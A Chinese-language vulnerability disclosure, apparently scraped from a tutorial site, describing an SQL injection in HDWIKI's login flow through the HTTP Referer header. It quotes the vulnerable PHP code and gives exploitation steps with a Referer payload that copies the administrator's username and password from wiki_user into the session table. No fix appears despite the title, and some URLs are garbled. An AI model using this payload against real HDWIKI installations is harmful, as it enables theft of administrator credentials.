好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

HDWIKI鸡肋0day及修复 - 网站安全 - 自学php

作者:thanks 博客:http://hi.baidu测试数据/thanks4sec

HDWIKI官方网站:http://kaiyuan.hudong测试数据/

影响版本:HDWIKI所有

 

-----------------------------------

 

找了半天没找到回显,觉得鸡肋所以发了

有想到好的利用方法同学记得告诉我声~

model/user.class.php :

function add_referer(){

               if($_SERVER['HTTP_REFERER']){

                      $this->db->query("UPDATE".DB_TABLEPRE."session SET referer='".$_SERVER['HTTP_REFERER']."' WHERE sid='".base::hgetcookie('sid')."'");

               } // 问题再此

        }

        functionget_referer(){

               $session=$this->db->fetch_first("SELECTreferer FROM ".DB_TABLEPRE."session   WHERE sid='".base::hgetcookie('sid')."'");

               if($session['referer']==""){

                      $session['referer']="index.php";

               }else{

                      if(strpos($session['referer'],'admin_')!==false){

                             $session['referer']="index.php?admin_main";

                      }

               }

               return$session['referer'];

        }

 

 

 

回溯到HdhCmsTest2cto测试数据 control/user.php

function dologin(){

               $_ENV['user']->passport_server('login','1');

               if(!isset($this->post['submit'])){ //submit 为 null 进入

                      $this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0);

 

                      $_ENV['user']->add_referer(); // 登录时注入形成

                      $_ENV['user']->passport_server('login','2');

                      $_ENV['user']->passport_client('login');

 

                      if(!isset($this->setting['name_min_length'])){$this->setting['name_min_length'] = 3;}

                      if(!isset($this->setting['name_max_length'])){$this->setting['name_max_length'] = 15;}

                      $loginTip2= str_replace(array('3','15'),array($this->setting['name_min_length'],$this->setting['name_max_length']),$this->view->lang['loginTip2']);

                      $this->view->assign('name_min_length',$this->setting['name_min_length']);

                      $this->view->assign('name_max_length',$this->setting['name_max_length']);

                      $this->view->assign('loginTip2',$loginTip2);

                      //$this->view->display('login');

                      $_ENV['block']->view('login');

               }else{

 

……以下代码省略

 

详细说明:

1、 抓登陆包

2、随便建个用户登陆

3、修改包,post内容只保留username和password就好,其他的删掉。

  如username=test&password=test

4、使用 burpsuite 或者 nc ,修改包头 referer ,如改为:

  admin_',username=(SELECT concat(username,0x2f,password) FROM wiki_user where uid=1)#

提交后即将管理员账号、密码赋值于 wiki_session 表的 username 字段。

  因此调用 wiki_session.username 变量的页面会爆出账号密码(管理员和普通用户同在 wiki_user 表中)。

 

注: 但是没有找到username或者hdwiki_session表字段回显的地方,鸡肋在此

查看更多关于HDWIKI鸡肋0day及修复 - 网站安全 - 自学php的详细内容...

  阅读:71次